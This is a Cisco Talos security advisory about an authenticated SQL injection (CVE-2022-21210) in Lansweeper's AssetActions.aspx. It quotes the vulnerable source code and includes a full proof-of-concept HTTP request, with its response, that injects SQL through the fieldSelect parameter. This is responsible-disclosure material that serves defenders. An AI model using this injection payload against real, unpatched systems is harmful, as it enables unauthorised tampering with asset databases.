Talos Vulnerability Report

TALOS-2022-1444

# Lansweeper lansweeper AssetActions.aspx SQL injection vulnerability

FEBRUARY 28, 2022

## CVE NUMBER

CVE-2022-21210

## Summary

An SQL injection vulnerability exists in the AssetActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. A specially crafted HTTP request can cause SQL injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.

## Tested Versions

Lansweeper lansweeper 9.1.20.2

## Product URLs

lansweeper - https://www.lansweeper.com/

## CVSSv3 Score

6.6 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

## CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

## Details

Lansweeper is an IT Asset Management solution that gathers hardware and software information of computers and other devices on a computer network for management and compliance and audit purposes.

An exploitable SQL Injection vulnerability is related to an `fieldSelect` parameter passed to : `/AssetActions.aspx` script. Let us take a close look at the vulnerable source code :

```
LS\WS\AssetActions.cs

Line 743        else if (page.IsPostBack && current.Request["action"] ==
"assetfieldschange")
Line 744        {
Line 745                User.Current().CheckRoleRedirect(Permission.EditData);
Line 746                General.ValidateCsrf();
Line 747                JsReturnObject jsReturnObject8 = new JsReturnObject();
Line 748                try
Line 749                {
Line 750                        string[] array9 =
current.Request["fieldselect"].Split(',');
(...)
Line 828                                        foreach (string text38 in array9)
Line 828                                     {
(...)
Line 919                                        default:
Line 920                              DB.ExecuteDataset("UPDATE tblAssetCustom SET "
+ text38 + " = @data, Lastchanged = GETDATE() WHERE AssetID=@aid",
DB.NewDBParameter("@data", text41), DB.NewDBParameter("@aid", item10.Key));
```

`fieldSelect` parameter is provided by the user and is not sanitized at all. In `line 920` we can notice that `fieldSelect` is concatenated with the SQL query string in a regular way which leads to SQL injection. To trigger this vulnerability an attacker must be authenticated and have proper permissions.

### Exploit Proof of Concept

PoC presents abuse of descibed SQL Injection to set `@@version` varabile value to `Comments` field of all assets

REQUEST

```
POST /AssetActions.aspx?action=assetfieldschange HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101
Firefox/95.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 357
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/Assets.aspx
Cookie: UserSettings=language=1; custauth=username=hacker&userdomain=;
ASP.NET_SessionId=urnwlqmv1l5lmopoadrtppoe;
__RequestVerificationToken_Lw__=murmHbbVXPpH1R3EJDgF1WQsZis+Gb6CAsLBYb/j9OSuLM7CD40h
4xXqxvCgfuqmOaBtpmsC0k3x3MkQjRQ3HxsbCX8IuNomvCcIQQGKG+90p/DAA6+KM/DvgT9TnlopUM7bszIz
CpwDZIsFkAQ7pGzCBKJjAHA4rfFqh3KhEaY=

__VIEWSTATE=&fieldSelect=Comments=@@version--&xxComments%3d@@version--
=Magic_domain&ChangeField(s)={"8":"desktop-
qkvr1oa"}&chksm=5198068737&__RequestVerificationToken=%2BG2NW0MNWwOSh3YMz0Dx6IA5tYOF
Gu2L%2BeYifOsekA7QXd0jZzc7o%2B9jfoWfs%2B1OeJZD7K5smTyL%2Fur4JLNseWxkL64BD%2FDxGAxXx4
GWMtXbSQhM9GY2M5P5q0o0%2Bd5KCeivqEcUIkf6O1TpV7RjIoza7%2BTnLhiW7SLyYUSQ4Ew%3D
```

RESPONSE

```
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 07 Jan 2022 10:01:30 GMT
Connection: close
Content-Length: 189

{"ErrorType":"","Error":false,"Emsg":"","AddedRows":[["Comments=@@version--
","Magic_domain"]],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":
{},"ReturnValue":"","ReturnObject":null}
```

Timeline

2022-01-11 - Vendor disclosure

2022-02-21 - Vendor patched

2022-02-28 - Public Release

## CREDIT

Discovered by Marcin "Icewall" Noga of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1431

NEXT REPORT

TALOS-2022-1443